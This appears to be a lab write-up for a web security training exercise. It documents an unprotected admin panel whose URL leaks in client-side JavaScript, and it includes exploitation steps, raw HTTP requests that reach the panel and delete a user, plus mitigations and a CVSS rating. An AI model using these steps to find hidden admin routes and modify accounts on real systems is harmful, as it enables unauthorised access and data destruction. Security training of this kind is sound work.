

Title of Issue

Broken Access Control — Unprotected Admin Functionality with URL Disclosed in Client-Side JavaScript

Description

The application hosts an administrative panel at a non-obvious, "unpredictable" URL. While the URL is not listed in `robots.txt`, it is inadvertently disclosed within client-side JavaScript included on the application's home page. The panel itself has no authentication or authorisation controls — any user who discovers the URL can access full administrative functionality without credentials.

This demonstrates that security through obscurity is not a substitute for proper access controls. Hiding a URL in JavaScript source provides no meaningful protection, as JavaScript is delivered to every browser that loads the page.

Affected Endpoint: Admin panel at dynamically disclosed URL (e.g., `/admin-<hash>`) **Disclosure**

Location: Inline `<script>` block on the home page **Missing Control:** Authentication and authorisation on the admin route

Steps to Exploit

1. Navigate to the application's home page.
2. View the page source (right-click → View Page Source) or inspect the browser's developer tools.
3. Search the JavaScript source for references to `admin`, `panel`, or `isAdmin`:

```
var isAdmin = false;
if (isAdmin) {
  var topLinksTag = document.getElementsByClassName("top-links")[0];
  var adminPanelTag = document.createElement('a');
  adminPanelTag.setAttribute('href', '/admin-h4ck3d');
  adminPanelTag.innerText = 'Admin panel';
  topLinksTag.append(adminPanelTag);
}
```

4. Extract the admin panel path from the `href` attribute (e.g., `/admin-h4ck3d`).
5. Navigate directly to the discovered URL:

```
https://<lab-id>.web-security-academy.net/admin-h4ck3d
```

6. Access the admin panel without authentication.
 7. Delete user `carlos`.
-

Proof of Concept

Page source inspection — JavaScript disclosure:

```
var isAdmin = false;
if (isAdmin) {
  var topLinksTag = document.getElementsByClassName("top-links")[0];
```

```
var adminPanelTag = document.createElement('a');
adminPanelTag.setAttribute('href', '/admin-h4ck3d');
adminPanelTag.innerText = 'Admin panel';
topLinksTag.append(adminPanelTag);
}
```

Direct access request:

```
GET /admin-h4ck3d HTTP/1.1
Host: <lab-id>.web-security-academy.net
```

Response: HTTP 200 — admin panel loaded with full user management functionality. No credentials required.

Delete carlos:

```
GET /admin-h4ck3d/delete?username=carlos HTTP/1.1
Host: <lab-id>.web-security-academy.net
```

Response: HTTP 302 — user `carlos` deleted.

Key observation: The `isAdmin` JavaScript variable is `false` for regular users, so the link is not rendered in the UI. However, the URL is still present in the source code and is accessible regardless of the variable's value — the UI logic provides no server-side protection.

Impact

- Unauthenticated administrative access to the application.
- Full user management including account creation, modification, and deletion.
- Client-side security logic (JavaScript conditionals) is trivially bypassed — all code delivered to the browser is readable by the user.
- Demonstrates that URL randomisation alone is insufficient as an access control mechanism.

Mitigation / Remediation

1. **Implement server-side authentication and authorisation** on every admin route — verify session identity and role on every request.
2. **Never embed sensitive URLs, tokens, or logic in client-side JavaScript** — anything sent to the browser is public.
3. **Do not rely on UI hiding as a security control** — hidden menu items can still be accessed via direct URL entry.
4. **Apply role-based access control (RBAC)** — only accounts with the `admin` role may access admin endpoints.
5. **Use network-level isolation** for admin interfaces (separate port, IP allowlist, or VPN-only access).

CVSS Score

CVSS v3.1 Score: 9.8 (Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Exploitable remotely; URL discoverable from public page source
Attack Complexity	Low	Page source inspection requires no special tools
Privileges Required	None	No account required; fully unauthenticated
User Interaction	None	Attacker acts independently
Scope	Unchanged	Impact confined to the application
Confidentiality Impact	High	All admin data and user records accessible
Integrity Impact	High	Attacker can create, modify, or delete any data
Availability Impact	High	Admin can disrupt the entire application